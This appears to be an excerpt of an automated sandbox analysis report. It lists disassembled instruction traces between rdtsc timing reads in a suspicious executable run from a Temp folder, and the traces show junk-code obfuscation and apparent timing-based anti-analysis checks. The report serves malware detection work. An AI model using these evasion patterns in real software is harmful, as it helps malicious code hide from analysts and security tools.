Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DBB164 second address: C3EA74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push esi 0x0000000c jmp 00007F44DCF14059h 0x00000011 pop esi 0x00000012 pop eax 0x00000013 jc 00007F44DCF1404Ch 0x00000019 mov edi, dword ptr [ebp+122D2876h] 0x0000001f push dword ptr [ebp+122D16E9h] 0x00000025 mov esi, dword ptr [ebp+122D28D6h] 0x0000002b call 00007F44DCF1404Bh 0x00000030 sub dword ptr [ebp+122D1E1Bh], edi 0x00000036 pop ecx 0x00000037 call dword ptr [ebp+122D272Eh] 0x0000003d pushad 0x0000003e mov dword ptr [ebp+122D22BFh], edx 0x00000044 xor eax, eax 0x00000046 xor dword ptr [ebp+122D22BFh], ebx 0x0000004c mov edx, dword ptr [esp+28h] 0x00000050 js 00007F44DCF1404Eh 0x00000056 mov dword ptr [ebp+122D2A86h], eax 0x0000005c jmp 00007F44DCF14056h 0x00000061 mov esi, 0000003Ch 0x00000066 jmp 00007F44DCF14056h 0x0000006b add esi, dword ptr [esp+24h] 0x0000006f sub dword ptr [ebp+122D3999h], esi 0x00000075 lodsw 0x00000077 mov dword ptr [ebp+122D399Eh], ecx 0x0000007d jc 00007F44DCF1405Bh 0x00000083 jmp 00007F44DCF14055h 0x00000088 add eax, dword ptr [esp+24h] 0x0000008c jmp 00007F44DCF1404Dh 0x00000091 mov ebx, dword ptr [esp+24h] 0x00000095 cmc 0x00000096 nop 0x00000097 push eax 0x00000098 push edx 0x00000099 push eax 0x0000009a push edx 0x0000009b push ecx 0x0000009c pop ecx 0x0000009d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DBB1C7 second address: DBB1D9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F44DCF2CAE8h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DBB341 second address: DBB346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DBB556 second address: DBB5A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 add dword ptr [esp], 1D76D9E3h 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F44DCF2CAE8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 mov edi, edx 0x00000028 add ecx, 33C36280h 0x0000002e lea ebx, dword ptr [ebp+12450063h] 0x00000034 mov dx, ax 0x00000037 mov cx, E7D5h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push esi 0x0000003f push eax 0x00000040 pop eax 0x00000041 pop esi 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DBB5A1 second address: DBB5A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DD98DB second address: DD98E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DD98E1 second address: DD98E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DD98E5 second address: DD98E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DD98E9 second address: DD98EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DD98EF second address: DD98FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jo 00007F44DCF2CAE6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DD9A41 second address: DD9A7A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007F44DCF14046h 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c jmp 00007F44DCF1404Ah 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jbe 00007F44DCF1404Eh 0x0000001b jmp 00007F44DCF14051h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DD9BC2 second address: DD9BC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DD9D31 second address: DD9D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 jmp 00007F44DCF1404Bh 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DD9D43 second address: DD9D4D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DD9D4D second address: DD9D51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DDA441 second address: DDA45B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 ja 00007F44DCF2CAE6h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F44DCF2CAE6h 0x00000014 jne 00007F44DCF2CAE6h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DDA729 second address: DDA733 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F44DCF14046h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DD0E01 second address: DD0E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push edi 0x00000008 jmp 00007F44DCF2CAEBh 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DDAB86 second address: DDAB9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F44DCF1404Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DDAB9C second address: DDABC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jo 00007F44DCF2CB21h 0x0000000b push esi 0x0000000c jmp 00007F44DCF2CAF2h 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jbe 00007F44DCF2CAE6h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DDB1A3 second address: DDB1A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DDB1A9 second address: DDB1BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F44DCF2CAE8h 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DDB1BC second address: DDB1C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DDB1C2 second address: DDB1CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DDB1CE second address: DDB1D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DDB2FC second address: DDB318 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F44DCF2CAF3h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DACA42 second address: DACA48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DACA48 second address: DACA7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F44DCF2CAE6h 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push edx 0x0000000e jmp 00007F44DCF2CAEFh 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F44DCF2CAF1h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DACA7B second address: DACA9E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F44DCF14046h 0x00000008 jmp 00007F44DCF14054h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DACA9E second address: DACAB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F44DCF2CAF0h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE2C53 second address: DE2C6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F44DCF14053h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE7121 second address: DE7130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F44DCF2CAE6h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE7130 second address: DE7134 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE758C second address: DE75B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jnl 00007F44DCF2CAFBh 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE75B0 second address: DE75B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE75B6 second address: DE75C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 je 00007F44DCF2CAECh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE75C3 second address: DE75CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE75CB second address: DE75CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE771F second address: DE7756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F44DCF14046h 0x0000000a popad 0x0000000b jg 00007F44DCF1404Eh 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push edx 0x00000016 pop edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a push edx 0x0000001b jmp 00007F44DCF14052h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE7F6F second address: DE7F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE7F75 second address: DE8020 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F44DCF1404Ch 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F44DCF14051h 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a pushad 0x0000001b jmp 00007F44DCF1404Eh 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 popad 0x00000023 jnc 00007F44DCF14048h 0x00000029 popad 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e pushad 0x0000002f jmp 00007F44DCF14055h 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 jmp 00007F44DCF14056h 0x0000003c popad 0x0000003d popad 0x0000003e pop eax 0x0000003f pushad 0x00000040 sub dword ptr [ebp+12474E90h], eax 0x00000046 mov ecx, dword ptr [ebp+122D3222h] 0x0000004c popad 0x0000004d push 9D206ACFh 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F44DCF14058h 0x00000059 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE81BB second address: DE81C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F44DCF2CAE6h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE82C4 second address: DE82CA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE83AA second address: DE83BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F44DCF2CAEAh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE83BE second address: DE83C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE8590 second address: DE8595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE87B4 second address: DE87BE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F44DCF14046h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE8C6B second address: DE8C71 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE8C71 second address: DE8CA2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F44DCF14048h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F44DCF14048h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 nop 0x00000026 push esi 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE8CA2 second address: DE8CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007F44DCF2CAF4h 0x00000010 popad 0x00000011 jng 00007F44DCF2CAECh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE8D56 second address: DE8D6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14050h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE8D6A second address: DE8D70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE8E3D second address: DE8E42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE8E42 second address: DE8E47 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE8FC8 second address: DE8FE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF1404Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F44DCF1404Ch 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE90B3 second address: DE90B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE9169 second address: DE9183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44DCF1404Dh 0x00000009 popad 0x0000000a je 00007F44DCF1404Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE9183 second address: DE9193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jo 00007F44DCF2CAF4h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE9193 second address: DE9197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DEBBFB second address: DEBBFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DEBBFF second address: DEBC8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14056h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F44DCF14058h 0x00000010 nop 0x00000011 movzx esi, di 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F44DCF14048h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebp 0x00000035 call 00007F44DCF14048h 0x0000003a pop ebp 0x0000003b mov dword ptr [esp+04h], ebp 0x0000003f add dword ptr [esp+04h], 0000001Dh 0x00000047 inc ebp 0x00000048 push ebp 0x00000049 ret 0x0000004a pop ebp 0x0000004b ret 0x0000004c movsx edi, si 0x0000004f xchg eax, ebx 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DEBC8C second address: DEBC90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DED300 second address: DED30B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DED30B second address: DED312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DEDD1B second address: DEDD35 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F44DCF1404Eh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DEDD35 second address: DEDD39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DEB980 second address: DEB987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DEE8D5 second address: DEE8DA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DEC53C second address: DEC559 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007F44DCF14046h 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F44DCF1404Bh 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF3075 second address: DF307A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF307A second address: DF30C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F44DCF14048h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 jbe 00007F44DCF14048h 0x0000002e push esi 0x0000002f pop ebx 0x00000030 xchg eax, esi 0x00000031 push ecx 0x00000032 push edx 0x00000033 push eax 0x00000034 pop eax 0x00000035 pop edx 0x00000036 pop ecx 0x00000037 push eax 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b jl 00007F44DCF14046h 0x00000041 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF30C4 second address: DF30C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF80DB second address: DF8103 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF1404Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F44DCF14051h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF8103 second address: DF8149 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a nop 0x0000000b mov ebx, dword ptr [ebp+122D36CFh] 0x00000011 add dword ptr [ebp+122D18E5h], ebx 0x00000017 push 00000000h 0x00000019 xor ebx, dword ptr [ebp+1245086Eh] 0x0000001f push 00000000h 0x00000021 xor dword ptr [ebp+122D2E06h], ebx 0x00000027 push eax 0x00000028 jng 00007F44DCF2CAF2h 0x0000002e js 00007F44DCF2CAECh 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
